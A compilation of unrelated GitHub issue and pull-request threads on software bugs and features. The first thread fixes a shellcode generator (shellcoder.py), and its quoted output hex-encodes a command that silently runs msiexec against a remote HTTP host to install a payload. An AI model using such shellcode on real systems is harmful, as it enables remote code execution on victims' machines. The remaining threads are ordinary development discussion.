Fix push_string in shellcoder.py that led to invalid opcodes

Hey @epi052 ,
This is a quick fix to shellcoder.py's --msi mode. Currently, if you try to execute it, you get an error:
Traceback (most recent call last):
  File "/home/kali/Desktop/tools/osed-scripts/shellcoder.py", line 669, in <module>
    main(args)
  File "/home/kali/Desktop/tools/osed-scripts/shellcoder.py", line 538, in main
    encoding, count = eng.asm(shellcode)
  File "/home/kali/.local/lib/python3.9/site-packages/keystone/keystone.py", line 213, in asm
    raise KsError(errno, stat_count.value)
keystone.keystone.KsError: Invalid operand (KS_ERR_ASM_INVALIDOPERAND)

I've traced it to the fault instructions generated here:
   call_system:
       xor eax, eax                    ;
       push eax                        ;
mov al, 0x;push eax;mov ax, 0x;push ax;push dword 0x6e712f20;push dword 0x582f3434;push dword 0x34343a31;push dword 0x39312e39;push dword 0x33322e38;push dword 0x36312e32;push dword 0x39312f2f;push dword 0x3a707474;push dword 0x6820692f;push dword 0x20636578;push dword 0x6569736d;

Notice mov al, 0x are invalid instructions. These were generated by push_string function at this branch:
for i in range(rev_hex_payload_len, 0, -1):
        # add every 4 byte (8 chars) to one push statement
        if ((i != 0) and ((i % 8) == 0)):
            target_bytes = rev_hex_payload[i-8:i]
            instructions.append(f"push dword 0x{target_bytes[6:8] + target_bytes[4:6] + target_bytes[2:4] + target_bytes[0:2]};")
        # handle the left ofer instructions
        elif ((0 == i-1) and ((i % 8) != 0) and rev_hex_payload_len != 8):
            if (rev_hex_payload_len % 8 == 2):
                first_instructions.append(f"mov al, 0x{rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]};")
                first_instructions.append("push eax;")
            elif (rev_hex_payload_len % 8 == 4):
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push eax;")
            else:
                target_bytes = rev_hex_payload[(rev_hex_payload_len - (rev_hex_payload_len%8)):]
                first_instructions.append(f"mov al, 0x{target_bytes[4:6]};")
                first_instructions.append("push eax;")
                first_instructions.append(f"mov ax, 0x{target_bytes[2:4] + target_bytes[0:2]};")
                first_instructions.append("push ax;")
            null_terminated = True

Presumably, the check elif ((0 == i-1) and ((i % 8) != 0) and rev_hex_payload_len != 8) is meant to catch strings of length multiple 8 and thus do not have any left over instructions. However, rev_hex_payload_len != 8 only catches the case 8, when it should be (rev_hex_payload_len % 8) != 0 to catch all multiples of 8. This led to the invalid opcodes being generated.
With this one liner change, the --msi generation now works properly. I've re-tested both generation modes to ensure they still work on Windows as expected.
Thanks!

nice catch! merging


trailingDelta on create margin order

Good day, guys!
Is there any option to use trailingDelta on margin orders?
I can't find it anywhere, and after reading very long documentation,
I found that there's no trailingDelta parameter on the Binance API margin order
The only thing margin can have trailingDelta is using bapi/* endpoint,
which I know by inspecting the network on Binance's margin trading.
Still, I need help finding the documentation on the internet.
Issue subject
trailingDelta is not a parameter on margin order
Expected behavior
trailingDelta added to the margin order (cross and isolated)
Actual behavior
trailingDelta is not a parameter on margin order
Steps to reproduce
this order below is automatically converted to a stop limit order instead of a trailing stop. Oh, by the way, I use python-binance, not binance connector, but since this issue is still related to Binance API, I will post it here.
client.create_margin_order(
symbol=symbol,
side=SIDE_SELL,
type=ORDER_TYPE_TAKE_PROFIT_LIMIT,
#
timeInForce=TIME_IN_FORCE_GTC,
quantity=quantity,
stopPrice=tp_price,
price=tp_price,
trailingDelta=td,
# isolatedSymbol=symbol,
# isIsolated=is_margin,
)
Environment
Provide any relevant information about your setup, such as:

Version of python-binance:
Python 3.10
Operating system Mac OS Ventura 13.1

Thank you for feedback. Trailing stop order is not supported on margin account.
Please check the official document at https://binance-docs.github.io/apidocs/spot/en/#margin-account-new-order-trade


unable to send usdt

Dear DeFiChain team,
im trying to send USDT to an external wallet.
but the "next" button is greyed out in the SENDING TAB

what am i doing wrong?

You cannot send ETH to an Ethereum address. Only to a DFI address. Starting with a "d" or an "8".
You can exchange these ETH tokens for real ETH coins at CAKE DEFI.

You cannot send ETH to an Ethereum address. Only to a DFI address. Starting with a "d" or an "8".
You can exchange these ETH tokens for real ETH coins at CAKE DEFI.


Convenience initializers for all required properties

Most of my messages have a few required fields. I'd like to make sure they are all specified in code rather than falling back to their default values. The easiest way to do this would be if there was a convenience initializer with all required fields. This wouldn't run into the issue from #86 because they wouldn't have default values for each field.
For example, I'd expect a convenience initializer to be generated for this message:
message WidePoint {
   required double x = 1;
   required double y = 2;
   required double w = 3;
}

public init(x: Double, y: Double, w: Double)

The protobuf docs some what strongly suggest avoiding required because it can cause problems in the proto needs to evolve.  So I'm not sure how much we want to promote them directly with library features.
However, Swift is different than other languages, you can create a Swift Extension within your code to provide these extra initializers yourself; so they don't have to be provided by the generated code.

One of the questions we ran into in #86:  What order should the arguments be in the initializer?  In order of field number?  In the order they appear in the proto?
As @thomasvl pointed out, protobuf usage over the years has largely moved away from using required.  The new proto3 language dialect has entirely dropped the required modifier.
We did recently gain some checks on required fields -- the serialization should fail if required fields have not been set.  That should help with your use case, but I agree that it would be even cleaner to have a convenience initializer.
We'll certainly think about it....

Now that I've read more on required properties I've decided to switch to proto3 and not use them.  I will certainly need to write some app logic to validate these structs and make sure they are filled in. Already I need to write validation logic just to make sure they are logically consistent too, which can't be done with a static check. I'll go ahead and close out this feature request.
Food for thought would be how to make the code more maintainable when a new property is added. For example, a new property might be added which should be used in every case that a struct is created but the compiler won't help me find which code needs to be updated. If it changed the signature of the initializer then that would do it.

In order of field number? In the order they appear in the proto?

If you do decide to do this, that order seems fine.


Improve cloud filter

Improve the algorithm used to separate clouds from the sky and obstacles.
Potentially apply a median filter / erode + dilate to the results to remove small gaps. Or use an average convolution and take the closest distance result (1/9f 3x3 matrix): https://stackoverflow.com/questions/59977108/median-filter-with-renderscript-on-android
https://blog.ostermiller.org/efficiently-implementing-dilate-and-erode-image-functions/

No longer needed since I removed the filter step


UI improvements to application flow

We need a top level status section on each application's page so that the application's state is apparent once the page loads. The 'Application / podinfo-deploy' title is also not needed because of the breadcrumbs in the navbar above.

Each node should have a more subtle drop shadow, more of an outline like drop-shadow(rgb(189,189,189) 0px 0px 1px)

How are the graph nodes being distributed? Could we move to a radial distribution? That would save space and remind me less of Argo.
When I scroll down on the page, I am most often accidentally zooming out the graph instead. It would make sense if the graph was completely zoomed out (such that all nodes are visible) on page load.

Are there ever going to be more rows on this table? If not, this information should be included in the status section instead of formatted as a table.

The Applications page should use the same table style as the Clusters page and the title of that table should be something more descriptive like 'Installed GitOps Applications.'

Let me know your thoughts and suggestions!
cc @sympatheticmoose @jpellizzari

We need a top level status section on each application's page so that the application's state is apparent once the page loads. The 'Application / podinfo-deploy' title is also not needed because of the breadcrumbs in the navbar above.

We don't have those status metrics and need to discuss what an aggregated "Healthy" would mean. We can make space for them in the mean time.
We can move the location of the breadcrumbs, but we won't be able to show the count of things next to each of them.

Each node should have a more subtle drop shadow, more of an outline like drop-shadow(rgb(189,189,189) 0px 0px 1px)

:+1:

How are the graph nodes being distributed? Could we move to a radial distribution? That would save space and remind me less of Argo.

The are using a traditional directed-acyclic graph. If you could do some research on what layout algo would give us the arrangement you are going for, that would be great. Any supporting npm libraries would be an added bonus.

When I scroll down on the page, I am most often accidentally zooming out the graph instead. It would make sense if the graph was completely zoomed out (such that all nodes are visible) on page load.

Not much we can do about that, unless you are suggesting we disable mouse-wheel scrolling on the graph in favor of a slider control.

Are there ever going to be more rows on this table? If not, this information should be included in the status section instead of formatted as a table.

Probably. We  have more data being returned from the API but haven't attempted to organize it yet.

@bia Has graciously volunteered to break this ticket up. Re-assigned.


docker macvlan hosts stop working after kernel 5.4.11

Hi,
I have set up some pihole docker containers using macvlan network driver. After upgrade to my linux kernel 5.4.11, the hosts are accessible via the docker host but not from other hosts on the network like before.
❯ docker inspect wifi_172
[
{
"Name": "wifi_172",
"Id": "cc3809eb470525c3f6af4c01a1571be73e0902e6436006259cf664bf052cd7eb",
"Created": "2018-04-03T10:37:21.975032167-07:00",
"Scope": "local",
"Driver": "macvlan",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": {},
"Config": [
{
"Subnet": "<IP_ADDRESS>/24",
"Gateway": "<IP_ADDRESS>"
}
]
},
"Internal": false,
"Attachable": false,
"Ingress": false,
"ConfigFrom": {
"Network": ""
},
"ConfigOnly": false,
"Containers": {
"925f0389089fe6d290017d3d91c9cbdeb0e37967c21aca8d498bf20c4f421b80": {
"Name": "wifi-hole",
"EndpointID": "ce72a371ed63d8573faa0d9c914198b9f629a185e2cfa07d264797802aa28a4b",
"MacAddress": "02:42:ac:10:06:fe",
"IPv4Address": "<IP_ADDRESS>/24",
"IPv6Address": ""
}
},
"Options": {
"parent": "van0.172"
},
"Labels": {}
}
]

For anyone following, it looks like this was fixed with 5.4.14:
https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=c17e025049a639b78bb87a15494116b90f2de94f


Rectify header size handling

In the interface, we are currently checking if the header size in the request is different than the header size expected in the 1.0 wire protocol format (22). If it is we return InvalidHeader.
We should not make that check there.
We should read "header size" bytes and ignore (do not parse) the bytes given after the end of the request in the used wire protocol version. If the header size given is smaller than the size of the request, then we should return an error to the client.
This would be useful is clients send padding at the end of the header.
This should be precised in the documentation.

It was decided that, for now, the size field given in the header should match the size of the header in the 1.0 wire protocol format, as a measure of safety.
If the magic number given is correct, we should however always read the number of bytes given in the header for the rest of the request header and then check if that number is correct. If it is correct, we can then deserialize the header.
It is the following change:
diff --git a/src/requests/request/request_header.rs b/src/requests/request/request_header.rs
index 2829679..c41f527 100644
--- a/src/requests/request/request_header.rs
+++ b/src/requests/request/request_header.rs
@@ -91,11 +91,16 @@ impl RawRequestHeader {
     pub fn read_from_stream<R: Read>(mut stream: &mut R) -> Result<RawRequestHeader> {
         let magic_number = get_from_stream!(stream, u32);
         let hdr_size = get_from_stream!(stream, u16);
-        if magic_number != MAGIC_NUMBER || hdr_size != REQUEST_HDR_SIZE {
+        if magic_number != MAGIC_NUMBER {
+            error!("The magic number ({}) in the request is incorrect.", magic_number);
             return Err(ResponseStatus::InvalidHeader);
         }
         let mut bytes = vec![0_u8; usize::try_from(hdr_size)?];
         stream.read_exact(&mut bytes)?;
+        if hdr_size != REQUEST_HDR_SIZE {
+            error!("The header size ({}) in the request is incorrect.", hdr_size);
+            return Err(ResponseStatus::InvalidHeader);
+        }

         let raw_request: RawRequestHeader = bincode::deserialize(&bytes)?;
         if raw_request.version_maj != 1 || raw_request.version_min != 0 {

And similar changes for the responses!

Fixed as per linked PR.


Request : Shortened URL

The current URL generation produces a unique 64 character path suffix.
Would it be possible to shorten this value without compromising security?  I'm looking at the trivial but non-uncommon use case of cut-and-paste errors.

The current URL generation is just a SHA256 hash of the encrypted password.
I can think of two ways to solve this. The first is to just use a shortened SHA, which are p reliable when it comes to avoiding collisions. Alternatively, it probably wouldn't be too hard, and more secure to just have it randomly generate a smaller string for each link creation.

Thank you!


Add mysql support

This builds on #14.  @wisechengyi please review this when you have a chance and even test it out next week.
Fixes #3

Will do. In the meantime, do you think in memory database like derby or H2
could be handy for testing? They may be a little old(but gold?). I can ask
around for some recommendations
On Jul 15, 2017 11:46 AM, "William Lichtenberger"<EMAIL_ADDRESS>wrote:

This builds on #14 https://github.com/gradle/ge-export/pull/14.
@wisechengyi https://github.com/wisechengyi please review this when you
have a chance and even test it out next week.
You can view, comment on, or merge this pull request online at:
https://github.com/gradle/ge-export/pull/16
Commit Summary

First stab at MySQL support
Merge branch 'properties' of github.com:gradle/ge-export into
add-mysql-support
Make database configurable
Fix connection problems by closing connections.

File Changes

M build.gradle
https://github.com/gradle/ge-export/pull/16/files#diff-0 (10)
M src/main/java/com/gradle/exportapi/Application.java
https://github.com/gradle/ge-export/pull/16/files#diff-1 (16)
M src/main/java/com/gradle/exportapi/dao/BuildDAO.java
https://github.com/gradle/ge-export/pull/16/files#diff-2 (14)
M src/main/java/com/gradle/exportapi/dbutil/SqlHelper.java
https://github.com/gradle/ge-export/pull/16/files#diff-3 (32)
A src/main/resources/mysql-sql.properties
https://github.com/gradle/ge-export/pull/16/files#diff-4 (74)

Patch Links:

https://github.com/gradle/ge-export/pull/16.patch
https://github.com/gradle/ge-export/pull/16.diff

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/gradle/ge-export/pull/16, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAkZhsNCw0w6CU8-A_0ixSL61Ok5zGLbks5sOQkfgaJpZM4OZGC2
.

On Jul 15, 2017 11:46 AM, "William Lichtenberger"<EMAIL_ADDRESS>wrote:

This builds on #14 https://github.com/gradle/ge-export/pull/14.
@wisechengyi https://github.com/wisechengyi please review this when you
have a chance and even test it out next week.
You can view, comment on, or merge this pull request online at:
https://github.com/gradle/ge-export/pull/16
Commit Summary

First stab at MySQL support
Merge branch 'properties' of github.com:gradle/ge-export into
add-mysql-support
Make database configurable
Fix connection problems by closing connections.

File Changes

M build.gradle
https://github.com/gradle/ge-export/pull/16/files#diff-0 (10)
M src/main/java/com/gradle/exportapi/Application.java
https://github.com/gradle/ge-export/pull/16/files#diff-1 (16)
M src/main/java/com/gradle/exportapi/dao/BuildDAO.java
https://github.com/gradle/ge-export/pull/16/files#diff-2 (14)
M src/main/java/com/gradle/exportapi/dbutil/SqlHelper.java
https://github.com/gradle/ge-export/pull/16/files#diff-3 (32)
A src/main/resources/mysql-sql.properties
https://github.com/gradle/ge-export/pull/16/files#diff-4 (74)

Patch Links:

https://github.com/gradle/ge-export/pull/16.patch
https://github.com/gradle/ge-export/pull/16.diff

—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/gradle/ge-export/pull/16, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAkZhsNCw0w6CU8-A_0ixSL61Ok5zGLbks5sOQkfgaJpZM4OZGC2
.

I don't think it's worth testing in memory.  I think it will be straightforward to spin up docker containers for MySql and Postgres to run the integration tests on Travis CI.

ah ok sounds good. seems pretty straightforward to setup the DBs in travis.

what should db-info.properties look like? I have the following:
jdbcUrl=jdbc:mysql://localhost:3306
username=root
password=password
maximumPoolSize=5

but errors were thrown:
11:02:43.100 [main] ERROR com.gradle.exportapi.Application - Unable to connect to the target database.  Please validate your configuration settings.
11:02:43.101 [main] ERROR com.gradle.exportapi.Application - Export failed
java.lang.RuntimeException: Failed to establish connection to target database.

You need to specify the database at the end of the connection string. I
called mine geexport (hyphens cause problems for MySQL)
On Tue, Jul 18, 2017 at 1:04 PM Yi Cheng<EMAIL_ADDRESS>wrote:

what should db-info.properties look like? I have the following:
jdbcUrl=jdbc:mysql://localhost:3306
username=root
password=password
maximumPoolSize=5
but errors were thrown:
11:02:43.100 [main] ERROR com.gradle.exportapi.Application - Unable to connect to the target database.  Please validate your configuration settings.
11:02:43.101 [main] ERROR com.gradle.exportapi.Application - Export failed
java.lang.RuntimeException: Failed to establish connection to target database.
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub
https://github.com/gradle/ge-export/pull/16#issuecomment-316146980, or mute
the thread
https://github.com/notifications/unsubscribe-auth/ACMBtn735Lo6SvbSJBMHOW72hXarFbeoks5sPPOTgaJpZM4OZGC2
.

--
[image<EMAIL_ADDRESS>William Herbert Lichtenberger
Principal Engineer
Gradle
W. gradle.com https://www.gradle.com
Gradle Summit is now open
Click HERE to register https://summit.gradle.com/

ok cool got it rolling. although i have to specify timezone related things like below otherwise it will throw error.
jdbcUrl=jdbc:mysql://localhost:3306/ge?useUnicode=true&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTi...

Caused by: com.mysql.cj.core.exceptions.InvalidConnectionAttributeException: The server time zone value 'PDT' is unrecognized or represents more than one time zone. You must configure either the server or JDBC driver (via the serverTimezone configuration property) to use a more specifc time zone value if you want to utilize time zone support.
        at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method)
        at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62)
        at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
        at java.lang.reflect.Constructor.newInstance(Constructor.java:423)
        at com.mysql.cj.core.exceptions.ExceptionFactory.createException(ExceptionFactory.java:54)
        at com.mysql.cj.core.exceptions.ExceptionFactory.createException(ExceptionFactory.java:73)
        at com.mysql.cj.jdbc.util.TimeUtil.getCanonicalTimezone(TimeUtil.java:118)
        at com.mysql.cj.mysqla.MysqlaSession.configureTimezone(MysqlaSession.java:293)
        at com.mysql.cj.jdbc.ConnectionImpl.initializePropsFromServer(ConnectionImpl.java:2399)
        at com.mysql.cj.jdbc.ConnectionImpl.connectOneTryOnly(ConnectionImpl.java:1739)
        at com.mysql.cj.jdbc.ConnectionImpl.createNewIO(ConnectionImpl.java:1596)


Does not seem to work with Rider installed on MacOS

Hi,
I'm forced to use MacOs at work, and tried to use install the plugin today, but unfortunately the plugin doesn't seem to be able to find dotnet.
In the Event log, I can see the following:
13.01.22
11:45	EF Core tools are not installed
			These tools are required to execute EF Core commands
			Fix

11:45	EF Core command failed
			Command: dotnet tool install --global dotnet-ef

			Output:
			java.io.IOException: Cannot run program "dotnet": error=2, No such file or directory

			Exit code: -1
			Try Again

Using dotnet and dotnet-ef over the normal terminal and Riders integrated terminal works normally, so it seems to be available in the PATH. I'm using dotnet 6.0.101.
I'm using
Rider 2021.3.2
Entity Framework Core UI: 1.1.2
MacOS 11.6.1
Any idea why that might be happening or what I can do to get it working?
If you do not have access to a Mac I'm happy to further assist.

Hi @haarhoff-frs, thanks for the bug report. It seems like it's a known issue with Java on Mac OS X, I will post a potential fix here a bit later, will be happy if you will be able to test it :)

Hey @haarhoff-frs, could you try this one?
riderefcore-<IP_ADDRESS>.zip

Hey @seclerp
Sorry, that did not resolve the issue, same as before. Are there any logs or anything else I could provide you with that would help?

I will rewrite the whole logic for command execution to use the Intellij way, not the JDK way. I believe it will solve the problem.

@haarhoff-frs could you check this one?
riderefcore-<IP_ADDRESS>.zip
Before install please remove the old plugin (with restart) for a more clear check.
P.S. Please install the whole .zip file, not only the internal .jar file.

That did it, no more error messages! I was able to create and remove migrations as well as update the database without any problems.
Thanks a lot for the great plugin and resolving my issue so quickly :)

Hello. It seems like this issue exist on new versions. Rider version 2022.2.3, plugin version 222.2.0
com.intellij.execution.process.ProcessNotCreatedException: Cannot run program "dotnet": error=2, No such file or directory
at com.intellij.execution.configurations.GeneralCommandLine.createProcess(GeneralCommandLine.java:362)
at com.intellij.execution.process.OSProcessHandler.startProcess(OSProcessHandler.java:92)
at com.intellij.execution.process.OSProcessHandler.(OSProcessHandler.java:45)
at com.intellij.execution.process.CapturingProcessHandler.(CapturingProcessHandler.java:20)
at com.intellij.execution.util.ExecUtil.execAndGetOutput(ExecUtil.kt:88)
at me.seclerp.rider.plugins.efcore.cli.execution.CliCommand.execute(CliCommand.kt:22)
at me.seclerp.rider.plugins.efcore.features.eftools.InstallDotnetEfAction$actionPerformed$1.invoke(InstallDotnetEfAction.kt:18)
at me.seclerp.rider.plugins.efcore.features.eftools.InstallDotnetEfAction$actionPerformed$1.invoke(InstallDotnetEfAction.kt:11)
at me.seclerp.rider.plugins.efcore.cli.execution.ExtensionsKt$executeCommandUnderProgress$$inlined$runBackgroundableTask$1.run(progress.kt:36)
at com.intellij.openapi.progress.impl.CoreProgressManager.startTask(CoreProgressManager.java:442)
at com.intellij.openapi.progress.impl.ProgressManagerImpl.startTask(ProgressManagerImpl.java:114)
at com.intellij.openapi.progress.impl.CoreProgressManager.lambda$runProcessWithProgressAsynchronously$5(CoreProgressManager.java:493)
at com.intellij.codeWithMe.ClientId$Companion$decorateFunction$2.apply(ClientId.kt:307)
at com.intellij.codeWithMe.ClientId$Companion$decorateFunction$2.apply(ClientId.kt:307)
at com.intellij.openapi.progress.impl.ProgressRunner.lambda$submit$3(ProgressRunner.java:252)
at com.intellij.openapi.progress.impl.CoreProgressManager.lambda$runProcess$2(CoreProgressManager.java:188)
at com.intellij.openapi.progress.impl.CoreProgressManager.lambda$executeProcessUnderProgress$12(CoreProgressManager.java:608)
at com.intellij.openapi.progress.impl.CoreProgressManager.registerIndicatorAndRun(CoreProgressManager.java:683)
at com.intellij.openapi.progress.impl.CoreProgressManager.computeUnderProgress(CoreProgressManager.java:639)
at com.intellij.openapi.progress.impl.CoreProgressManager.executeProcessUnderProgress(CoreProgressManager.java:607)
at com.intellij.openapi.progress.impl.ProgressManagerImpl.executeProcessUnderProgress(ProgressManagerImpl.java:60)
at com.intellij.openapi.progress.impl.CoreProgressManager.runProcess(CoreProgressManager.java:175)
at com.intellij.openapi.progress.impl.ProgressRunner.lambda$submit$4(ProgressRunner.java:252)
at java.base/java.util.concurrent.CompletableFuture$AsyncSupply.run(CompletableFuture.java:1768)
at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1136)
at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
at java.base/java.util.concurrent.Executors$PrivilegedThreadFactory$1$1.run(Executors.java:702)
at java.base/java.util.concurrent.Executors$PrivilegedThreadFactory$1$1.run(Executors.java:699)
at java.base/java.security.AccessController.doPrivileged(AccessController.java:399)
at java.base/java.util.concurrent.Executors$PrivilegedThreadFactory$1.run(Executors.java:699)
at java.base/java.lang.Thread.run(Thread.java:833)
Caused by: java.io.IOException: Cannot run program "dotnet" (in directory "/Users/mkurbanov/RiderProjects/Vpnafty"): error=2, No such file or directory
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1143)
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1073)
at com.intellij.execution.configurations.GeneralCommandLine.startProcess(GeneralCommandLine.java:438)
at com.intellij.execution.configurations.GeneralCommandLine.createProcess(GeneralCommandLine.java:352)
... 30 more
Caused by: java.io.IOException: error=2, No such file or directory
at java.base/java.lang.ProcessImpl.forkAndExec(Native Method)
at java.base/java.lang.ProcessImpl.(ProcessImpl.java:314)
at java.base/java.lang.ProcessImpl.start(ProcessImpl.java:244)
at java.base/java.lang.ProcessBuilder.start(ProcessBuilder.java:1110)
... 33 more

@magicnov are you sure that your issue is not related to #92 ?

@magicnov are you sure that your issue is not related to #92 ?

Yes, i think i have same problem, but on macos. Is there any solution for now?

Check the following:

You should have .NET SDK (al least 3.1) installed
You should have "dotnet" CLI command accessible (check your PATH env variable)

If all from above is correct, you should be able to execute dotnet --version from the command line:
> dotnet --version
7.0.100-preview.7.22377.5

Also, note that you need EF Core Tools to execute commands. The plugin should hint you to install it but you could also do it manually:
dotnet tool install dotnet-ef --global
And check it after installation:
dotnet ef --help


chore: update project dependencies

Description

Update project dependencies. Major changes includes:

Bump React version from v16 to v17
Bump Workbox version from v4 to v6
Bump Material UI from v4.11 to v4.12
Bump Testing Library to from v5.11 to v5.14
Bump Node SASS from v4.14.1 to v6.0.1

How has this been tested?

Run yarn start, make sure it starts without error
Run yarn test, make sure all test passes
Run yarn build && npx serve ./build, navigate to https://localhost:5000 and make sure service worker does not throw any error

Types of changes

[ ] New feature - feat
[ ] Bug fix - fix
[ ] Refactor - refactor
[ ] Test - test
[x] Other(s): chore

Checklist:

[x] Test have been written for utilities.
[x] I have test my code on different platforms and devices.

Remarks

N/A

Codecov Report

Merging #3 (1bf98f0) into master (8e163e5) will not change coverage.
The diff coverage is n/a.

@@            Coverage Diff            @@
##            master        #3   +/-   ##
=========================================
  Coverage   100.00%   100.00%
=========================================
  Files           17        17
  Lines          139       139
  Branches        24        24
=========================================
  Hits           139       139

Impacted Files
Coverage Δ

src/components/ErrorMessage.jsx
100.00% <ø> (ø)

src/components/Loading.jsx
100.00% <ø> (ø)

src/components/SearchInput.jsx
100.00% <ø> (ø)

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 8e163e5...1bf98f0. Read the comment docs.


Add more information on json weather api

Today the weather-api json shows temperature and wind, but some users like to see more informations, like description ("Rainy" or "Sunny"), wind and rain conditions, for current time and a forecast.
Using parse.go, is possible get more information from http://wttr.in and provide to API this infos in weather.go.

I'll do it.

✅  https://github.com/robertoduessmann/weather-api/pull/3

Description now is ok, thanks @bhagatparwinder :rocket:
Informations to add on API:

[ ] Description
[ ] Rain conditions
[ ] Temperature forecast
[ ] Wind forecast
[ ] Description forecast
[ ] Rain conditions forecast

I can add the extra info.

@Mojachieee I'll be interested in seeing how you approach it. Go intrigues me now.

Hello robert, is this issue still new help?

Hi @andri-de, yep, there are somethings still need to be implement in weather-api:

Rain conditions
Description forecast
Rain conditions forecast

hey there,
http://wttr.in provides JSON and is somewhat an API itself, am I missing something here, what the key feature of this project is?
cheers

hey there,
http://wttr.in provides JSON and is somewhat an API itself, am I missing something here, what the key feature of this project is?
cheers

Hey @simonneutert , thanks for the feedback.
Back in the time when I created this project, my main goal was to learn and improve my skills with Golang.
Later it turned useful for the community since when weather-api was created http://wttr.in didn't have JSON support.
There was an old discussion about the topic: https://github.com/chubin/wttr.in/issues/60.
Happy they have JSON support there now as well :)


wrong color-scheme for language selection tool

Describe the bug
When writing a post, if you click to select the language on dark theme, this appears:
https://i.imgur.com/T6M4t3N.jpeg

Which site: [self-hosted phanpy]
Which site version: [2024.07.22.e6e884f]
Which instance: [e.g. livellosegreto.it]

Expected behavior
Colors should match the dark theme, at least a dark background and some light text.
Desktop (please complete the following information):

OS: [Windows 10]
Browser [chrome]
Version [Versione 126.0.6478.185 (Build ufficiale) (a 64 bit)]

I built latest production and it's fixed.. not sure how, if you didn't do anything :)
https://i.imgur.com/vTYx433.jpeg

thanks for closing. it's fixed here https://github.com/cheeaun/phanpy/commit/a1c419b675e4769328d69c4d4f4b674d05cf8397


Frequency of polling

Hi
How frequently does this poll the podpoint to see if a status has changed and can this be increased to more frequently?  I'm particularly interested in if the cable is plugged in or unplugged.  It appears to check approximately every five minutes.  This may however be podpoint doing this and not the integration.
Stewart

Hi Stewart, the default is 5 minutes, this is a polling rate set on the client side.
Its set to ensure that we don't over-burden the pod-point systems (especially as multiple people have the plugin installed).
You can however override this buy clicking 'Configure' within the Home Assistant UI and changing the polling interval:

Please bear in mind that setting this to a low number could cause Pod Point to reach out/disable your access/actively try to stop the plugin from working

Thanks Matt,  that's really useful information.

I changed the time to 120 from 300 and now it's stopped working.  I'm guessing Pod Point have disabled my access.  I've put it back to 300 but now I don't know if this will restore the service, if I need to reinstall the integration or if I now need to contact Pod Point.

Does your app access still work? Try loggingg out and back in on the app
If not then you will need to reach out to Pod Point

On 14 Sep 2023, at 10:06, sjhowl @.***> wrote:
I changed the time to 120 from 300 and now it's stopped working. I'm guessing Pod Point have disabled my access. I've put it back to 300 but now I don't know if this will restore the service, if I need to reinstall the integration or if I now need to contact Pod Point.
—
Reply to this email directly, view it on GitHub https://github.com/mattrayner/pod-point-home-assistant-component/issues/43#issuecomment-1719055333, or unsubscribe https://github.com/notifications/unsubscribe-auth/AA2XGNT6HGNCFB7VXB2OUADX2LCIRANCNFSM6AAAAAA4WJ53H4.
You are receiving this because you modified the open/close state.

Hi Matt
I’ve done all of this now. I called Pod Point, and they have messaged their data team.  I logged out of the app and when I logged back in again the stored password on my phone didn’t work so I reset that and I’m back in the app.  I then deleted the integration and re-installed it and it’s now all working again.  I’ve therefore unsure which part of this fixed it but it’s fixed.  Thanks again for all your help.
Kind regards
Stewart
From: Matt Rayner @.>
Reply to: mattrayner/pod-point-home-assistant-component @.>
Date: Thursday, 14 September 2023 at 10:57
To: mattrayner/pod-point-home-assistant-component @.>
Cc: Stewart Howl @.>, Author @.***>
Subject: Re: [mattrayner/pod-point-home-assistant-component] Frequency of polling (Issue #43)
Does your app access still work? Try loggingg out and back in on the app
If not then you will need to reach out to Pod Point

On 14 Sep 2023, at 10:06, sjhowl @.***> wrote:
I changed the time to 120 from 300 and now it's stopped working. I'm guessing Pod Point have disabled my access. I've put it back to 300 but now I don't know if this will restore the service, if I need to reinstall the integration or if I now need to contact Pod Point.
—
Reply to this email directly, view it on GitHub https://github.com/mattrayner/pod-point-home-assistant-component/issues/43#issuecomment-1719055333, or unsubscribe https://github.com/notifications/unsubscribe-auth/AA2XGNT6HGNCFB7VXB2OUADX2LCIRANCNFSM6AAAAAA4WJ53H4.
You are receiving this because you modified the open/close state.

—
Reply to this email directly, view it on GitHubhttps://github.com/mattrayner/pod-point-home-assistant-component/issues/43#issuecomment-1719144045, or unsubscribehttps://github.com/notifications/unsubscribe-auth/A3VI2CDOEBZ2BTZF5TTEGWTX2LIILANCNFSM6AAAAAA4WJ53H4.
You are receiving this because you authored the thread.Message ID: @.***>


Add Drag & Drop and port the Avalonia Drag+Drop demo to FuncUI

This adds Drag & Drop support to FuncUI and ports the C# Avalonia Drag+Drop demo to F#.
As mentioned on gitter, when you click on the drag source, onPointerPressed is triggered twice.  I am uncertain if this is a bug in my code, or a bug in Avalonia or FuncUI.

Events should be marked as handled (event.Handled <- true) - This will probably resolve the double raising issues (I hope).
After that's changed this is ready to merge 🎉

I’ll take a look as soon as I find time. This/next week probably.

@renngar I resolved some conflicts and a build issue and made a PR to your fork, once that is merged this should be good to go

@renngar I resolved some conflicts and a build issue and made a PR to your fork, once that is merged this should be good to go

Thank you @AngelMunoz . Your update got lost amid a heavy load at work. I will try to look at it shortly.

If anyone is still interested in this, I tried rebasing the changes onto the current master and tweaking it to build with some Avalonia 11 API changes at https://github.com/Numpsy/Avalonia.FuncUI/tree/rw/dragdrop_rebase (there are some conflicts due to files having been both moved and changed, so i rebased that branch to pick up all the other changes as a base).
I'm still learning how the drag/drop stuff works, but it does appear to work in both the control catalog desktop app and in wasm in Edge:

